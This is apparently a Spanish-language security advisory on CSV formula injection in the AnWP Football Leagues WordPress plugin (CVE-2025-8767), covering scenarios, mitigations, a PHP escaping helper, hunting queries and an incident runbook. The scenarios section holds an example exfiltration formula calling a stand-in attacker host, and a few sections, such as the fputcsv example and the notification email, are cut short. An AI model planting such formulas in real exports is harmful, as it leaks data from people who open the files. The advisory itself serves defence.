¿Qué es la Inyección CSV?

La Inyección CSV (también llamada “Inyección de Fórmulas” o “Inyección de Excel”) ocurre cuando datos no confiables se exportan a CSV y los campos comienzan con caracteres que los programas de hoja de cálculo tratan como fórmulas. Los caracteres iniciales típicos que desencadenan la evaluación incluyen:

• =
• +
• –
• @

Si un campo CSV comienza con uno de estos caracteres, Excel, LibreOffice Calc, Google Sheets y herramientas similares pueden evaluarlo como una fórmula. Las fórmulas maliciosas pueden:

• intentar la ejecución de comandos locales a través de características heredadas (comportamientos antiguos de Office);
• exfiltrar datos convirtiendo el contenido de las celdas en solicitudes externas (por ejemplo, a través de HYPERLINK);
• desencadenar flujos de ingeniería social que expongan credenciales o conduzcan a la ejecución de macros;
• corromper flujos de trabajo de hojas de cálculo y causar errores operativos.

Esta clase de problema generalmente apunta al cliente que abre el CSV exportado en lugar del servidor de WordPress en sí. Debido a que los administradores a menudo abren exportaciones, la Inyección CSV sigue siendo un riesgo significativo.

La vulnerabilidad: detalles y alcance

• Software afectado: Ligas de Fútbol AnWP (plugin de WordPress)
• Versiones vulnerables: ≤ 0.16.17
• Corregido en: 0.16.18
• CVE: CVE‑2025‑8767
• Privilegio requerido: Administrador (autenticado)
• Severidad: Baja (CVSS 4.8), dependiente del contexto

Puntos clave:

• El plugin permitía exportar CSVs que incluían campos controlados por el usuario sin escapar (nombres de jugadores, nombres de equipos, campos personalizados, etc.).
• Un Administrador autenticado puede crear registros que comiencen con “=”, “+”, “-” o “@”. Las exportaciones preservaban esos prefijos, por lo que abrir el CSV en software de hojas de cálculo puede activar la evaluación de fórmulas.
• La explotación requiere una cuenta con privilegios de escritura, por lo que la explotación anónima no es sencilla. Sin embargo, la toma de control de cuentas, el abuso de privilegios o los insiders maliciosos pueden habilitar el ataque.

Escenarios de explotación realistas

Escenarios donde la inyección de CSV es práctica:

1. Administrador malicioso o comprometido: el atacante obtiene credenciales de Administrador e inserta una carga útil como =HYPERLINK("http://attacker.example/steal?data="&A1). Una exportación posterior abierta en Excel puede filtrar datos o presentar enlaces clicables.
2. Datos de importación envenenados: los administradores importan datos de terceros. Las importaciones no sanitizadas pueden inyectar cargas útiles de fórmulas que luego aparecen en las exportaciones.
3. Flujos de trabajo compartidos: los CSVs exportados circulados entre equipos (admin → finanzas) pueden ser abiertos por destinatarios menos cautelosos que activan la carga útil.
4. Ingeniería social: el atacante empuja a un administrador a realizar una exportación y abrirla localmente (por ejemplo: “Por favor, exporta la lista de jugadores”).

Aunque la escritura inicial requiere privilegios de administrador, el riesgo posterior para los usuarios y administradores que abren CSVs hace que esta vulnerabilidad no sea trivial.

Impactos prácticos

• Explotación local: ciertas características de hojas de cálculo en clientes más antiguos pueden ejecutar comandos locales.
• Exfiltración de datos: las fórmulas pueden hacer que los sistemas de los clientes se contacten con servidores atacantes, filtrando el contenido de las celdas.
• Entrega de credenciales o malware: enlaces, macros o ingeniería social pueden llevar al robo de credenciales o a la instalación de malware.
• Disrupción operativa: las hojas de cálculo corruptas pueden causar errores financieros y de flujo de trabajo.
• Cumplimiento y reputación: los datos personales filtrados pueden desencadenar informes de violaciones y daños a la reputación.

Acciones inmediatas para los propietarios de sitios de WordPress (lista de verificación de incidentes)

Si usas AnWP Football Leagues, sigue estos pasos inmediatos:

1. Actualiza el plugin: actualiza AnWP Football Leagues a 0.16.18 o posterior de inmediato. Este es el paso más importante.
2. Revoca los CSV distribuidos: trata los CSV exportados recientemente como potencialmente inseguros. Notifica a los destinatarios y evita abrir esos archivos en estaciones de trabajo de producción hasta que sean inspeccionados.
3. Restringe temporalmente las exportaciones: si no puedes actualizar de inmediato, desactiva la funcionalidad de exportación CSV del plugin o elimina el plugin hasta que se solucione.
4. Audita las cuentas de administrador: revisa las cuentas de administrador, elimina cuentas no utilizadas, rota contraseñas y aplica autenticación fuerte (2FA) para los administradores.
5. Busca campos sospechosos: consulta tu base de datos en busca de entradas que comiencen con =, +, – o @. Ejemplo de SQL (ajusta los nombres de las tablas según sea apropiado):

   SELECT ID, post_title FROM wp_posts WHERE post_title LIKE '=%' OR post_title LIKE '+%' OR post_title LIKE '-%' OR post_title LIKE '@%'; SELECT meta_id, meta_key, meta_value FROM wp_postmeta WHERE meta_value REGEXP '^[=+\\-@]';

6. Rota credenciales sensibles: rota las contraseñas de administrador y cualquier clave API que pueda estar expuesta al contenido exportado.
7. Copia de seguridad y escaneo: realice una copia de seguridad completa y ejecute escaneos de servidor y punto final. Inspeccione los registros en busca de eventos de exportación y accesos sospechosos.
8. Educar al personal: advierta al personal que no abra CSV no confiables en máquinas utilizadas para trabajos sensibles; inspeccione CSV sospechosos en entornos aislados.
9. Considerar WAF/parcheo virtual: si utiliza un firewall de aplicaciones web o un servicio de seguridad gestionado, pídales que apliquen reglas temporales para bloquear o sanear exportaciones CSV hasta que el complemento esté parcheado.

Cómo neutralizar campos CSV: escape seguro y código del lado del servidor

El código del complemento y la exportación personalizada deben neutralizar cualquier campo que pueda interpretarse como una fórmula. Una técnica común es prefijar campos peligrosos con una comilla simple (‘) para que la hoja de cálculo trate la celda como texto literal.

Ejemplo de ayudante PHP (renombrar según corresponda en su base de código):

<?php
/**
 * Escape CSV field to prevent spreadsheet formula execution.
 *
 * Prefixes a leading single quote when the field starts with =, +, - or @.
 */
function escape_csv_field( string $value ): string {
    if ($value === null || $value === '') {
        return (string) $value;
    }

    // Normalize to string
    $value = (string) $value;

    // Remove possible BOM from the start
    $trimmed = ltrim($value, "\xEF\xBB\xBF");

    // If it begins with any dangerous character, prefix with a single quote.
    if (preg_match('/^[=+\-@]/u', $trimmed)) {
        return "'" . $value;
    }

    return $value;
}

Use fputcsv para la salida de filas para que los separadores y las comillas se manejen de manera segura:

$fp = fopen('php://output', 'w');

Notas:

• Prefijar con una comilla simple es ampliamente compatible y mantiene el valor legible.
• Evite depender de la configuración del cliente o de la configuración de la hoja de cálculo para la seguridad.
• Normalice Unicode y recorte caracteres invisibles para prevenir técnicas de elusión.

Lista de verificación rápida del lado del servidor para desarrolladores e integradores

1. Escape los campos CSV del lado del servidor como se muestra.
2. Haga cumplir las verificaciones de capacidad para que solo los roles autorizados puedan exportar datos (utilice current_user_can o verificaciones igualmente estrictas).
3. Proteja las acciones de exportación con nonces para protegerse contra exportaciones forzadas al estilo CSRF.
4. Use fputcsv en lugar de concatenación manual de cadenas para producir CSV.
5. Documente los campos exportados y advierta a los administradores sobre los riesgos de la hoja de cálculo en la interfaz de usuario.
6. Agregar pruebas unitarias e integradas que aseguren que los campos que comienzan con =, +, -, o @ estén escapados.
7. Ofrecer formatos de exportación sanitizados (por ejemplo, JSON) o una opción para forzar el escape de todos los campos.

Parches virtuales y mitigaciones WAF (orientación general)

Si no puedes actualizar de inmediato, el parcheo virtual a través de un WAF o un servicio de seguridad gestionado puede mitigar la exposición interceptando o modificando solicitudes y respuestas:

• Bloquear o requerir verificación adicional (nonce/capacidad) para solicitudes que desencadenen exportaciones CSV.
• Inspeccionar las respuestas CSV salientes y reescribir campos peligrosos sobre la marcha — por ejemplo, prefijar campos que comienzan con =, +, -, o @ con una comilla simple durante el almacenamiento en búfer de la respuesta.
• Crear reglas que detecten solicitudes a puntos finales de exportación conocidos (patrones de URL, ganchos de administrador) y bloquear o sanitizar respuestas.
• Alertar a los administradores cuando un punto final de exportación sea utilizado por cuentas inusuales.

Limitaciones: la reescritura de respuestas puede ser intensiva en recursos para grandes exportaciones y debe ser una medida temporal mientras aplicas una solución en upstream.

Caza: cómo encontrar datos y exportaciones afectadas

1. Búsqueda en la base de datos: consultar tablas donde el plugin almacena nombres y metadatos para valores que comienzan con caracteres peligrosos:

   SELECT * FROM wp_postmeta WHERE meta_value REGEXP '^[=+\\-@]';

2. Sistema de archivos y copias de seguridad: inspeccionar exportaciones CSV recientes en copias de seguridad o carpetas de descarga. Ejemplo de grep en línea de comandos:

   grep -R --line-number -E '^[=+\\-@]' *.csv

3. Registros de auditoría: verificar registros de actividad para eventos de exportación, acciones inusuales de administrador o inicios de sesión anómalos.
4. Registros del servidor: encontrar solicitudes a puntos finales de exportación del plugin y correlacionar con sesiones de usuario autenticadas.

Respuesta a incidentes: manual paso a paso

1. Aislar: si una estación de trabajo abrió un CSV sospechoso, aislarla de la red.
2. Preservar evidencia: copia el CSV, los registros del servidor y los registros de actividad; anota las marcas de tiempo, los ID de usuario y las IPs.
3. Contener: desactiva la funcionalidad de exportación hasta que el sitio esté parcheado; si una estación de trabajo se vio afectada, realiza contención del endpoint.
4. Erradicar: actualiza AnWP Football Leagues a 0.16.18 o posterior; limpia cualquier compromiso identificado y rota las credenciales.
5. Recuperar: restaura copias de seguridad limpias y refuerza los sistemas; vuelve a crear imágenes de los endpoints comprometidos según sea necesario.
6. Notificar: informa a las partes interesadas y a las partes afectadas si se sospecha de una filtración de datos personales.
7. Después del incidente: revisa los roles, aplica 2FA y limita las cuentas de administrador; ajusta los procesos para exportaciones más seguras.

Guía para desarrolladores: patrones seguros para evitar la inyección de CSV.

• Trata todos los datos exportados como no confiables, incluido el contenido ingresado por administradores.
• Escapa los campos CSV del lado del servidor utilizando una rutina dedicada.
• Proporciona configuración para hacer cumplir el escape en todas las exportaciones.
• Protege las acciones de exportación con capacidades y nonces; registra los eventos de exportación para auditoría.
• Incluye pruebas unitarias que verifiquen el escape para campos que comienzan con prefijos de fórmula.

Menor privilegio y 2FA: por qué son importantes.

Esta vulnerabilidad enfatiza la reducción de la superficie de ataque:

• Limita las cuentas de administrador solo a aquellas que realmente las necesiten.
• Usa privilegios más bajos para tareas rutinarias; separa roles para la gestión de contenido frente a operaciones sensibles a la seguridad.
• Requiere autenticación multifactor para cuentas de administrador para reducir el riesgo de robo de credenciales.

Ejemplo de notificación interna.

Asunto: Aviso de seguridad — vulnerabilidad de exportación CSV en AnWP Football Leagues (acción requerida).

Cuerpo:

Hola equipo,

Recomendaciones a largo plazo

• Mantenga los complementos y temas actualizados y pruebe los parches en un entorno de pruebas antes del despliegue en producción.
• Mantenga un proceso de alerta de vulnerabilidades y suscríbase a fuentes de seguridad relevantes para su ecosistema.
• Utilice copias de seguridad automáticas y planifique una reversión rápida.
• Considere un WAF y detección de intrusiones; habilite el parcheo virtual durante ventanas críticas si es necesario.
• Monitoree la actividad del usuario y mantenga un conjunto limitado de administradores.
• Mantenga un plan de respuesta a incidentes que incluya riesgos de paquetes de oficina y hojas de cálculo.